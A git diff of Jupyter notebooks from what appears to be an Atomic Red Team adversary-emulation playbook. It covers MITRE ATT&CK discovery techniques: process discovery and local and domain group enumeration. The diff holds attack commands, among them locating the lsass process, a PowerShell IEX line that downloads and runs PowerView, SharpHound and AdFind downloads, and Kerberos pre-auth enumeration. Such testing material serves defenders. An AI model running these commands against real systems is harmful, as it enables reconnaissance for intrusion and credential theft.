function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -130,13 +130,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1057.ipynb b/playbook/tactics/discovery/T1057.ipynb index 441548fe..0302cef8 100644 --- a/playbook/tactics/discovery/T1057.ipynb +++ b/playbook/tactics/discovery/T1057.ipynb @@ -2,24 +2,24 @@ "cells": [ { "cell_type": "markdown", - "id": "ce26f341", + "id": "3e562a60", "metadata": {}, - "source": "# T1057 - Process Discovery\nAdversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc." + "source": "# T1057 - Process Discovery\nAdversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)" }, { "cell_type": "markdown", - "id": "e351ce98", + "id": "d5950021", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "db8b78de", + "id": "d75af720", "metadata": {}, "source": [ "### Atomic Test #1 - Process Discovery - ps", "Utilize ps to identify processes.\n\nUpon successful execution, sh will execute ps and output to /tmp/loot.txt.\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", "```sh\nps >> /tmp/loot.txt\nps aux >> /tmp/loot.txt\n```" ] @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e3099252", + "id": "a41756ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1057 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "2db8fbf4", + "id": "66b611c3", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/loot.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "249a1a0d", + "id": "c2ca8963", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1057 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "3475287b", + "id": "97c46da5", "metadata": {}, "source": [ "### Atomic Test #2 - Process Discovery - tasklist", @@ -61,14 +61,14 @@ { "cell_type": "code", "execution_count": null, - "id": "135435e2", + "id": "b6f7a395", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1057 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "2f55fbe7", + "id": "56270ae5", "metadata": {}, "source": [ "### Atomic Test #3 - Process Discovery - Get-Process", @@ -81,14 +81,14 @@ { "cell_type": "code", "execution_count": null, - "id": "7cc3c3fa", + "id": "879dbf5e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1057 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9cd41d73", + "id": "5133a770", "metadata": {}, "source": [ "### Atomic Test #4 - Process Discovery - get-wmiObject", @@ -101,14 +101,14 @@ { "cell_type": "code", "execution_count": null, - "id": "d4bb8352", + "id": "420577a9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1057 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "2d836828", + "id": "822cef11", "metadata": {}, "source": [ "### Atomic Test #5 - Process Discovery - wmic process", @@ -121,20 +121,40 @@ { "cell_type": "code", "execution_count": null, - "id": "0c053b80", + "id": "cc86a291", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1057 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "2c37068e", + "id": "f30cf93f", "metadata": {}, - "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." + "source": [ + "### Atomic Test #6 - Discover Specific Process - tasklist", + "Adversaries may use command line tools to discover specific processes in preparation of further attacks. \nExamples of this could be discovering the PID of lsass.exe to dump its memory or discovering whether specific security processes (e.g. AV or EDR) are running.\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\ntasklist | findstr lsass\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ad74e8cf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1057 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "96dc341d", + "metadata": {}, + "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations." }, { "cell_type": "markdown", - "id": "3c38ad8c", + "id": "c41266d8", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can modify commands such that the true list of running processes is not revealed, hiding necessary active defense processes from the adversary.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -142,13 +162,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1063.ipynb b/playbook/tactics/discovery/T1063.ipynb deleted file mode 100644 index a6be6ecf..00000000 --- a/playbook/tactics/discovery/T1063.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "70a2a3b7", - "metadata": {}, - "source": "# T1063 - Security Software Discovery\nAdversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software." - }, - { - "cell_type": "markdown", - "id": "b57381c3", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "b45db6d7", - "metadata": {}, - "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086)." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/discovery/T1069.001.ipynb b/playbook/tactics/discovery/T1069.001.ipynb index a5faa2c2..b1fb5dea 100644 --- a/playbook/tactics/discovery/T1069.001.ipynb +++ b/playbook/tactics/discovery/T1069.001.ipynb @@ -2,24 +2,24 @@ "cells": [ { "cell_type": "markdown", - "id": "c8fba9c0", + "id": "3bc6eef0", "metadata": {}, "source": "# T1069.001 - Local Groups\nAdversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups." }, { "cell_type": "markdown", - "id": "81575fde", + "id": "49d064a3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c9d43206", + "id": "d7b2e0bb", "metadata": {}, "source": [ "### Atomic Test #1 - Permission Groups Discovery (Local)", "Permission Groups Discovery\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", "```sh\nif [ -x \"$(command -v dscacheutil)\" ]; then dscacheutil -q group; else echo \"dscacheutil is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v dscl)\" ]; then dscl . -list /Groups; else echo \"dscl is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v groups)\" ]; then groups; else echo \"groups is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v id)\" ]; then id; else echo \"id is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v getent)\" ]; then getent group; else echo \"getent is missing from the machine. skipping...\"; fi;\ncat /etc/group\n```" ] @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "da2b829a", + "id": "fe1b3b22", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b6c2c670", + "id": "25fdd947", "metadata": {}, "source": [ "### Atomic Test #2 - Basic Permission Groups Discovery Windows (Local)", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "0e406734", + "id": "2ffd732e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ac5a7aab", + "id": "2476beb9", "metadata": {}, "source": [ "### Atomic Test #3 - Permission Groups Discovery PowerShell (Local)", @@ -67,79 +67,79 @@ { "cell_type": "code", "execution_count": null, - "id": "a817ee47", + "id": "1056bc97", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "74a99cd1", + "id": "896c08f0", "metadata": {}, - "source": "### Atomic Test #4 - SharpHound3 - LocalAdmin\nThis module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: SharpHound binary must exist on disk and at specified location (#{sharphound_path}).\nAnd the computer must be domain joined (implicit authentication).\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:TEMP\\SharpHound.exe\") { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/BloodHoundAD/BloodHound/blob/e062fe73d73c015dccb37fae5089342d009b84b8/Collectors/SharpHound.exe?raw=true\" -OutFile \"$env:TEMP\\SharpHound.exe\"\n\n```" + "source": "### Atomic Test #4 - SharpHound3 - LocalAdmin\nThis module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: SharpHound binary must exist on disk and at specified location (#{sharphound_path}).\nAnd the computer must be domain joined (implicit authentication).\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.exe\") { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/BloodHoundAD/BloodHound/blob/e062fe73d73c015dccb37fae5089342d009b84b8/Collectors/SharpHound.exe?raw=true\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "911c99f6", + "id": "afcc2965", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a1415d70", + "id": "3235919a", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-Item -Path \"$env:TEMP\\SharpHound\\\" -ItemType Directory > $null\n& \"$env:TEMP\\SharpHound.exe\" -d \"$env:UserDnsDomain\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \"$env:TEMP\\SharpHound\\\"\n```" + "```powershell\nNew-Item -Path \"$env:TEMP\\SharpHound\\\" -ItemType Directory > $null\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.exe\" -d \"$env:UserDnsDomain\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \"$env:TEMP\\SharpHound\\\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "7e5d054e", + "id": "e1ad6691", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "21347b10", + "id": "98b9b7ca", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Recurse $env:TEMP\\SharpHound\\ -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0f2a07bc", + "id": "0a3411c8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "515e01f6", + "id": "ad4db331", "metadata": {}, "source": [ "### Atomic Test #5 - Wmic Group Discovery", "Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system.\n", "**Supported Platforms:** windows", - "#### Attack Commands: Run with `powershell`\n", - "```powershell\nwmic.exe group get name\n```" + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nwmic group get name\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "715fc6d9", + "id": "a2bc182f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "3f2bf942", + "id": "3f6b8aea", "metadata": {}, "source": [ "### Atomic Test #6 - WMIObject Group Discovery", @@ -152,14 +152,59 @@ { "cell_type": "code", "execution_count": null, - "id": "0f794e3e", + "id": "1cb55698", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "273cc21f", + "id": "f0dec9d3", + "metadata": {}, + "source": "### Atomic Test #7 - Permission Groups Discovery for Containers- Local Groups\nAttackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.\n**Supported Platforms:** containers\n#### Dependencies: Run with `sh`!\n##### Description: Verify docker is installed.\n##### Check Prereq Commands:\n```sh\nwhich docker\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"\" == \"`which docker`\" ]; then echo \"Docker Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install docker ; elif [ -n \"`which yum`\" ]; then sudo yum -y install docker ; fi ; else echo \"Docker installed\"; fi\n\n```\n##### Description: Verify docker service is running.\n##### Check Prereq Commands:\n```sh\nsudo systemctl status docker --no-pager\n\n```\n##### Get Prereq Commands:\n```sh\nsudo systemctl start docker\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7d5fd9b1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1069.001 -TestNumbers 7 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "877f1202", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ndocker build -t t1069 $PathtoAtomicsFolder/T1069.001/src/\ndocker run --name t1069_container -d -t t1069\ndocker exec t1069_container ./test.sh```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9f4eb831", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1069.001 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "0e85b496", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ndocker stop t1069_container\ndocker rmi -f t1069```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "42c9310d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1069.001 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "be34673a", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." } @@ -167,13 +212,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1069.002.ipynb b/playbook/tactics/discovery/T1069.002.ipynb index 07a4567a..528a5174 100644 --- a/playbook/tactics/discovery/T1069.002.ipynb +++ b/playbook/tactics/discovery/T1069.002.ipynb @@ -2,79 +2,79 @@ "cells": [ { "cell_type": "markdown", - "id": "2937b424", + "id": "14797ea6", "metadata": {}, "source": "# T1069.002 - Domain Groups\nAdversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups." }, { "cell_type": "markdown", - "id": "7668ebbe", + "id": "7065c379", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "197f30c5", + "id": "3c8b26a5", "metadata": {}, "source": [ "### Atomic Test #1 - Basic Permission Groups Discovery Windows (Domain)", "Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain\ninformation will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nnet localgroup\nnet group /domain\nnet group \"domain admins\" /domain\nnet group \"enterprise admins\" /domain\n```" + "```command_prompt\nnet localgroup\nnet group /domain\nnet group \"enterprise admins\" /domain\nnet group \"domain admins\" /domain\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "953c5a8c", + "id": "26ec6e31", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1bf08f28", + "id": "b804573f", "metadata": {}, "source": [ "### Atomic Test #2 - Permission Groups Discovery PowerShell (Domain)", "Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain\ninformation will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nget-ADPrincipalGroupMembership administrator | select name\n```" + "```powershell\nget-ADPrincipalGroupMembership $env:USERNAME | select name\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0e762f53", + "id": "47ade277", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "fe681d20", + "id": "a0c556b7", "metadata": {}, "source": [ "### Atomic Test #3 - Elevated group enumeration using net group (Domain)", "Runs \"net group\" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This\ntest will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nnet group /domai \"Domain Admins\"\nnet groups \"Account Operators\" /doma\nnet groups \"Exchange Organization Management\" /doma\nnet group \"BUILTIN\\Backup Operators\" /doma\n```" + "```command_prompt\nnet groups \"Account Operators\" /doma\nnet groups \"Exchange Organization Management\" /doma\nnet group \"BUILTIN\\Backup Operators\" /doma\nnet group /domai \"Domain Admins\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e514acae", + "id": "9254083e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9bd86951", + "id": "c99f9455", "metadata": {}, "source": [ "### Atomic Test #4 - Find machines where user has local admin access (PowerView)", @@ -87,14 +87,14 @@ { "cell_type": "code", "execution_count": null, - "id": "3115b2d2", + "id": "87a1bb4f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "37bd1ef1", + "id": "21d8f828", "metadata": {}, "source": [ "### Atomic Test #5 - Find local admins on all machines in domain (PowerView)", @@ -107,48 +107,48 @@ { "cell_type": "code", "execution_count": null, - "id": "2cf0b7c8", + "id": "7754abc7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "6252175b", + "id": "2e8173a4", "metadata": {}, "source": [ "### Atomic Test #6 - Find Local Admins via Group Policy (PowerView)", "takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName $env:COMPUTERNAME -Verbose\"\n```" + "```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName $env:COMPUTERNAME -Verbose\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "fac44073", + "id": "d02d6d3e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "7f5d7e6b", + "id": "6c265d91", "metadata": {}, "source": "### Atomic Test #7 - Enumerate Users Not Requiring Pre Auth (ASRepRoast)\nWhen successful, accounts that do not require kerberos pre-auth will be returned\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined.\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually.\n\n```\n##### Description: Requires the Active Directory module for powershell to be installed.\n\n##### Check Prereq Commands:\n```powershell\nif(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nAdd-WindowsCapability -Online -Name \"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b0b07935", + "id": "045b6618", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8fbb0b54", + "id": "87492f90", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -158,45 +158,45 @@ { "cell_type": "code", "execution_count": null, - "id": "c0bb7801", + "id": "ca14275b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "f32e1774", + "id": "d1ad5e4d", "metadata": {}, - "source": "### Atomic Test #8 - Adfind - Query Active Directory Groups\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #8 - Adfind - Query Active Directory Groups\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a6880252", + "id": "727f118b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1069.002 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "24ada089", + "id": "22aed720", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -f (objectcategory=group)\n```" + 